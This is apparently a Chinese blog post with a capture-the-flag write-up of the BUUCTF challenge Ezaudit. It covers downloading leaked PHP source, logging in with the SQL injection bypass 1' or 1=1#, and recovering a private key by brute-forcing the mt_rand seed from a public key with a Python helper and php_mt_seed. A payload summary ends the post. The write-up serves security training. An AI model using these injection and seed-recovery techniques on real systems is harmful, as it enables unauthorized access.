• buuctf_练[MRCTF2020]Ezaudit


    [MRCTF2020]Ezaudit

    掌握知识

    ​ 网站源码泄露,代码审计,SQL注入的万能密码使用,mt_rand函数的伪随机数漏洞搭配php_mt_seed工具使用,随机数特征序列的生成

    解题思路
    1. 打开题目链接,又发现是一个不错的网站界面,很多功能但都一样,源码也没有泄露的,根据题目为简单的审计,猜测有源码泄露,这样的网站多半就是网站压缩包泄露,访问www.zip还真就下载了,里面只有一个index.php文件

    image-20231013125852847

    1. 打开文件,简单的查看了一下,发现泄露了一个登录界面login.html,需要输入密码账户和私钥,验证通过会通过SQL语句将flag回显出来。最后给出来了公私钥生成的代码,看见了老朋友mt_rand函数 ([GWCTF 2019]枯燥的抽奖),该函数存在伪随机数漏洞,只需要得到特征值,就能使用相应工具得到随机数种子,私钥也就很容易得到了
     
    header('Content-type:text/html; charset=utf-8');
    error_reporting(0);
    if(isset($_POST['login'])){
        $username = $_POST['username'];
        $password = $_POST['password'];
        $Private_key = $_POST['Private_key'];
        if (($username == '') || ($password == '') ||($Private_key == '')) {
            // 若为空,视为未填写,提示错误,并3秒后返回登录界面
            header('refresh:2; url=login.html');
            echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
            exit;
    }
        else if($Private_key != '*************' )
        {
            header('refresh:2; url=login.html');
            echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
            exit;
        }
    
        else{
            if($Private_key === '************'){
            $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
            $link=mysql_connect("localhost","root","root");
            mysql_select_db("test",$link);
            $result = mysql_query($getuser);
            while($row=mysql_fetch_assoc($result)){
                echo "".$row["username"]."".$row["flag"]."";
            }
        }
        }
    
    } 
    // genarate public_key 
    function public_key($length = 16) {
        $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $public_key = '';
        for ( $i = 0; $i < $length; $i++ )
        $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
        return $public_key;
      }
    
      //genarate private_key
      function private_key($length = 12) {
        $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        $private_key = '';
        for ( $i = 0; $i < $length; $i++ )
        $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
        return $private_key;
      }
      $Public_key = public_key();
      //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    分析代码
    1. 私钥的思路已经很清晰了,去寻找一下账户和密码是什么了,根据SQL语句的提示,账户为crispr,该SQL语句不存在任何过滤,是最基础的字符型SQL查询语句,密码直接使用万能密码就可以1' or 1=1 #。账密已经分析得到,就下来就去拿下私钥了

    image-20231013130423740

    1. 通过查看公私钥生成代码,两个代码都没有设置随机数种子,那公钥使用mt_rand函数之后,随机数种子也就会固定下来,所以公私钥的随机数种子是一样的,代码还给出了公钥,所以只需要将公钥字符串转化成特征序列,使用php_mt_seed工具进行爆破即可得到具体的随机数种子

    image-20231013131228180

    1. 后面的步骤和之前写的枯燥的抽奖步骤就很相似了,同一个代码同一个工具。使用下面的python代码即可得到特征序列。str2就是生成的随机字符串 ,str1是随机字符串生成的模板,将源代码的模板复制即可
    str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    str2='KVQP0LdJKRaV3n9D'
    str3 = str1[::-1]
    length = len(str2)
    res=''
    for i in range(len(str2)):
        for j in range(len(str1)):
            if str2[i] == str1[j]:
                res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
                break
    print(res)
    36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    1. 直接使用php_mt_seed工具对特征序列进行爆破,得到随机数种子,该随机数种子需要在php版本5.2.1 -- 7.0.x直接使用才行

    image-20231013131732864

    1. 找一个php在线运行的网站,可以修改php版本在上面范围的,使用源代码的公私钥生成代码,只需要在最开始添加随机数字符串即可得到私钥。因为随机字符串相邻的输出结果不一样,所以还需要按照代码中的先生成公钥才能正确得到私钥

    image-20231013131848549

    1. 使用分析得到的账密和生成的私钥直接登录,登录成功之后页面回显flag,直接拿下

    image-20231013132104091

    image-20231013132108850

    关键paylaod
    随机数种子 = mt_srand(1775196155);
    nuserame = crispr
    password = 1' or 1=1#
    私钥 = XuNhoueCDCGc
    
    • 1
    • 2
    • 3
    • 4
  • 相关阅读:
    MySQL的下载、安装、配置
    2.10 流程控制之 while循环
    设计模式:外观模式
    想看懂源码必须会的位逻辑运算符
    springboot:整合其它项目
    基于dq0变换的三相并联有源电力滤波器模拟模型(Simulink)
    Cybersecurity Requirements for Medical Devices
    巧用 transition 实现短视频 APP 点赞动画
    杭电oj 2059 龟兔赛跑 C语言
    基于Java+vue前后端分离学习交流论坛设计实现(源码+lw+部署文档+讲解等)
  • 原文地址:https://blog.csdn.net/m0_66225311/article/details/134018125